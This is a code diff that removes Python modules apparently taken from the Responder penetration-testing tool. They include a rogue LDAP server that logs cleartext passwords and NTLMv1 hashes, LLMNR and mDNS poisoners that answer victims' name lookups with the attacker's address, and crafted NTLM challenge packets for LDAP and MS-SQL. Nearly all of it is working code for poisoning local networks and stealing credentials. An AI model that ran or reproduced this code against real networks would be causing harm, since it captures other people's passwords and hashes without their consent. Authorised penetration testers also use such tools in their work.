("SearchAttrib1ASNID", "\x04"),
("SearchAttrib1ASNLen", "\x06"),#6
("SearchAttrib1ASNStr", "GSSAPI"),
("SearchAttrib2ASNID", "\x04"),
("SearchAttrib2ASNLen", "\x0a"),#10
("SearchAttrib2ASNStr", "GSS-SPNEGO"),
("SearchAttrib3ASNID", "\x04"),
("SearchAttrib3ASNLen", "\x08"),#8
("SearchAttrib3ASNStr", "EXTERNAL"),
("SearchAttrib4ASNID", "\x04"),
("SearchAttrib4ASNLen", "\x0a"),#10
("SearchAttrib4ASNStr", "DIGEST-MD5"),
("SearchDoneASNID", "\x30"),
("SearchDoneASNLenOfLen", "\x84"),
("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
("MessageIDASN2ID", "\x02"),
("MessageIDASN2Len", "\x01"),
("MessageIDASN2Str", "\x02"),
("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
## No need to calculate anything this time, this packet is generic.
])
class LDAPNTLMChallenge(Packet):
fields = OrderedDict([
("ParserHeadASNID", "\x30"),
("ParserHeadASNLenOfLen", "\x84"),
("ParserHeadASNLen", "\x00\x00\x00\xD0"),#208
("MessageIDASNID", "\x02"),
("MessageIDASNLen", "\x01"),
("MessageIDASNStr", "\x02"),
("OpHeadASNID", "\x61"),
("OpHeadASNIDLenOfLen", "\x84"),
("OpHeadASNIDLen", "\x00\x00\x00\xc7"),#199
("Status", "\x0A"),
("StatusASNLen", "\x01"),
("StatusASNStr", "\x0e"), #In Progress.
("MatchedDN", "\x04\x00"), #Null
("ErrorMessage", "\x04\x00"), #Null
("SequenceHeader", "\x87"),
("SequenceHeaderLenOfLen", "\x81"),
("SequenceHeaderLen", "\x82"), #188
("NTLMSSPSignature", "NTLMSSP"),
("NTLMSSPSignatureNull", "\x00"),
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
("NTLMSSPNtWorkstationLen","\x1e\x00"),
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
("NTLMSSPNtTargetInfoLen","\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
("NegTokenInitSeqMechMessageVersionLow","\x02"),
("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NTLMSSPNtWorkstationName","SMB12"),
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"),
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"),
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
])
def calculate(self):
##Convert strings to Unicode first...
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
###### AvPairs Offset
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
###### LDAP Packet Len
CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
##### LDAP Len Calculation:
self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen))
self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen))
self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### IvPairs Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))

View file

@ -1,121 +0,0 @@
import struct
import logging
import threading
import re
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from LDAPPackets import *
from core.responder.common import *
from core.logger import logger
formatter = logging.Formatter("%(asctime)s [LDAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("LDAPserver", formatter)
class LDAPserver():
def start(self, chal):
global Challenge; Challenge = chal
try:
log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 389), LDAP)
t = threading.Thread(name="LDAPserver", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
log.error("Error starting on port {}: {}".format(389, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
def ParseSearch(data):
Search1 = re.search('(objectClass)', data)
Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
if Search1:
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
if Search2:
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
if Search3:
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
def ParseLDAPHash(data,client):
SSPIStarts = data[42:]
LMhashLen = struct.unpack('<H',data[54:56])[0]
if LMhashLen > 10:
LMhashOffset = struct.unpack('<H',data[58:60])[0]
LMHash = SSPIStarts[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[64:66])[0]
NthashOffset = struct.unpack('<H',data[66:68])[0]
NtHash = SSPIStarts[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[72:74])[0]
DomainOffset = struct.unpack('<H',data[74:76])[0]
Domain = SSPIStarts[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[80:82])[0]
UserOffset = struct.unpack('<H',data[82:84])[0]
User = SSPIStarts[UserOffset:UserOffset+UserLen].replace('\x00','')
writehash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge
Outfile = "./logs/responder/LDAP-NTLMv1-"+client+".txt"
WriteData(Outfile,writehash,User+"::"+Domain)
#print "[LDAP] NTLMv1 complete hash is :", writehash
log.info('NTLMv1 complete hash is :%s'%(writehash))
if LMhashLen <2 :
Message = 'LDAP Anonymous NTLM authentication, ignoring..'
#print Message
log.info(Message)
def ParseNTLM(data,client):
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
if Search1:
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
NTLMChall.calculate()
return str(NTLMChall)
if Search2:
ParseLDAPHash(data,client)
def ParseLDAPPacket(data,client):
if data[1:2] == '\x84':
PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0]
Operation = data[9:10]
sasl = data[20:21]
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == "\x60":
UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen]
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
if AuthHeaderType == "\x80":
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
#print '[LDAP]Clear Text User & Password is:', UserDomain+":"+Password
outfile = "./logs/responder/LDAP-Clear-Text-Password-"+client+".txt"
WriteData(outfile,'User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password))
log.info('User: %s Password: %s'%(UserDomain,Password))
if sasl == "\xA3":
buff = ParseNTLM(data,client)
return buff
elif Operation == "\x63":
buff = ParseSearch(data)
return buff
else:
log.info('Operation not supported')
#LDAP Server Class
class LDAP(BaseRequestHandler):
def handle(self):
try:
while True:
self.request.settimeout(0.5)
data = self.request.recv(8092)
buffer0 = ParseLDAPPacket(data,self.client_address[0])
if buffer0:
self.request.send(buffer0)
except Exception:
pass #No need to print timeout errors.

View file

@ -1,176 +0,0 @@
import socket
import threading
import struct
import logging
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.logger import logger
from core.configwatcher import ConfigWatcher
from core.responder.fingerprinter.Fingerprint import RunSmbFinger
from core.responder.packet import Packet
from core.responder.odict import OrderedDict
from core.responder.common import *
formatter = logging.Formatter("%(asctime)s [LLMNRpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("LLMNRpoisoner", formatter)
class LLMNRpoisoner:
def start(self, options, ourip):
global args; args = options #For now a quick way to make argparse's namespace object available to all
global OURIP ; OURIP = ourip #and our ip address
try:
log.debug("OURIP => {}".format(OURIP))
server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR)
t = threading.Thread(name="LLMNRpoisoner", target=server.serve_forever) #LLMNR
t.setDaemon(True)
t.start()
except Exception as e:
log.error("Error starting on port 5355: {}:".format(e))
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1
def server_bind(self):
MADDR = "224.0.0.252"
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + socket.inet_aton(OURIP))
UDPServer.server_bind(self)
#LLMNR Answer packet.
class LLMNRAns(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x00"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionNameLen", "\x09"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("AnswerNameLen", "\x09"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = socket.inet_aton(OURIP)
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
def Parse_LLMNR_Name(data):
NameLen = struct.unpack('>B',data[12])[0]
Name = data[13:13+NameLen]
return Name
# LLMNR Server class.
class LLMNR(BaseRequestHandler):
def handle(self):
ResponderConfig = ConfigWatcher().config['Responder']
DontRespondTo = ResponderConfig['DontRespondTo']
DontRespondToName = ResponderConfig['DontRespondToName']
RespondTo = ResponderConfig['RespondTo']
RespondToName = ResponderConfig['RespondToName']
data, soc = self.request
try:
if data[2:4] == "\x00\x00":
if Parse_IPV6_Addr(data):
Name = Parse_LLMNR_Name(data)
if args.analyze:
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.warning("{} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1]))
except Exception:
log.warning("{} is looking for: {}".format(self.client_address[0], Name))
else:
log.warning("{} is looking for: {}".format(self.client_address[0], Name))
if DontRespondToSpecificHost(DontRespondTo):
if RespondToIPScope(DontRespondTo, self.client_address[0]):
return None
if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
return None
if RespondToSpecificHost(RespondTo):
if args.analyze == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception:
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
log.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception:
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
pass
if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception:
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception:
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
pass
else:
pass
else:
pass
except:
raise

View file

@ -1,115 +0,0 @@
import threading
import socket
import struct
import logging
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.configwatcher import ConfigWatcher
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
from core.responder.common import *
from core.logger import logger
formatter = logging.Formatter("%(asctime)s [MDNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("MDNSpoisoner", formatter)
class MDNSpoisoner():
def start(self, options, ourip):
global args; args = options
global OURIP; OURIP = ourip
try:
log.debug("OURIP => {}".format(OURIP))
server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS)
t = threading.Thread(name="MDNSpoisoner", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception, e:
log.error("Error starting on port 5353: {}" .format(e))
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1
def server_bind(self):
MADDR = "224.0.0.251"
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR)+ socket.inet_aton(OURIP))
UDPServer.server_bind(self)
class MDNSAns(Packet):
fields = OrderedDict([
("Tid", "\x00\x00"),
("Flags", "\x84\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = socket.inet_aton(OURIP)
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
def Parse_MDNS_Name(data):
data = data[12:]
NameLen = struct.unpack('>B',data[0])[0]
Name = data[1:1+NameLen]
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
return Name+'.'+Name_
def Poisoned_MDNS_Name(data):
data = data[12:]
Name = data[:len(data)-5]
return Name
class MDNS(BaseRequestHandler):
def handle(self):
ResponderConfig = ConfigWatcher().config['Responder']
RespondTo = ResponderConfig['RespondTo']
MADDR = "224.0.0.251"
MPORT = 5353
data, soc = self.request
if self.client_address[0] == "127.0.0.1":
pass
try:
if args.analyze:
if Parse_IPV6_Addr(data):
log.info('{} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
if RespondToSpecificHost(RespondTo):
if args.analyze == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if Parse_IPV6_Addr(data):
log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
Name = Poisoned_MDNS_Name(data)
MDns = MDNSAns(AnswerName = Name)
MDns.calculate()
soc.sendto(str(MDns),(MADDR,MPORT))
if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
if Parse_IPV6_Addr(data):
log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
Name = Poisoned_MDNS_Name(data)
MDns = MDNSAns(AnswerName = Name)
MDns.calculate()
soc.sendto(str(MDns),(MADDR,MPORT))
else:
pass
except Exception:
raise

View file

@ -1,154 +0,0 @@
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
#MS-SQL Pre-login packet class
class MSSQLPreLoginAnswer(Packet):
fields = OrderedDict([
("PacketType", "\x04"),
("Status", "\x01"),
("Len", "\x00\x25"),
("SPID", "\x00\x00"),
("PacketID", "\x01"),
("Window", "\x00"),
("TokenType", "\x00"),
("VersionOffset", "\x00\x15"),
("VersionLen", "\x00\x06"),
("TokenType1", "\x01"),
("EncryptionOffset", "\x00\x1b"),
("EncryptionLen", "\x00\x01"),
("TokenType2", "\x02"),
("InstOptOffset", "\x00\x1c"),
("InstOptLen", "\x00\x01"),
("TokenTypeThrdID", "\x03"),
("ThrdIDOffset", "\x00\x1d"),
("ThrdIDLen", "\x00\x00"),
("ThrdIDTerminator", "\xff"),
("VersionStr", "\x09\x00\x0f\xc3"),
("SubBuild", "\x00\x00"),
("EncryptionStr", "\x02"),
("InstOptStr", "\x00"),
])
def calculate(self):
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"])
VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])
EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])
InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"])
ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"])
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
#Version
self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"]))
self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset))
#Encryption
self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"]))
self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset))
#InstOpt
self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"]))
self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset))
#ThrdIDOffset
self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset))
#MS-SQL NTLM Negotiate packet class
class MSSQLNTLMChallengeAnswer(Packet):
fields = OrderedDict([
("PacketType", "\x04"),
("Status", "\x01"),
("Len", "\x00\xc7"),
("SPID", "\x00\x00"),
("PacketID", "\x01"),
("Window", "\x00"),
("TokenType", "\xed"),
("SSPIBuffLen", "\xbc\x00"),
("Signature", "NTLMSSP"),
("SignatureNull", "\x00"),
("MessageType", "\x02\x00\x00\x00"),
("TargetNameLen", "\x06\x00"),
("TargetNameMaxLen", "\x06\x00"),
("TargetNameOffset", "\x38\x00\x00\x00"),
("NegoFlags", "\x05\x02\x89\xa2"),
("ServerChallenge", ""),
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("TargetInfoLen", "\x7e\x00"),
("TargetInfoMaxLen", "\x7e\x00"),
("TargetInfoOffset", "\x3e\x00\x00\x00"),
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
("TargetNameStr", "SMB"),
("Av1", "\x02\x00"),#nbt name
("Av1Len", "\x06\x00"),
("Av1Str", "SMB"),
("Av2", "\x01\x00"),#Server name
("Av2Len", "\x14\x00"),
("Av2Str", "SMB-TOOLKIT"),
("Av3", "\x04\x00"),#Full Domain name
("Av3Len", "\x12\x00"),
("Av3Str", "smb.local"),
("Av4", "\x03\x00"),#Full machine domain name
("Av4Len", "\x28\x00"),
("Av4Str", "server2003.smb.local"),
("Av5", "\x05\x00"),#Domain Forest Name
("Av5Len", "\x12\x00"),
("Av5Str", "smb.local"),
("Av6", "\x00\x00"),#AvPairs Terminator
("Av6Len", "\x00\x00"),
])
def calculate(self):
##First convert to uni
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
##Then calculate
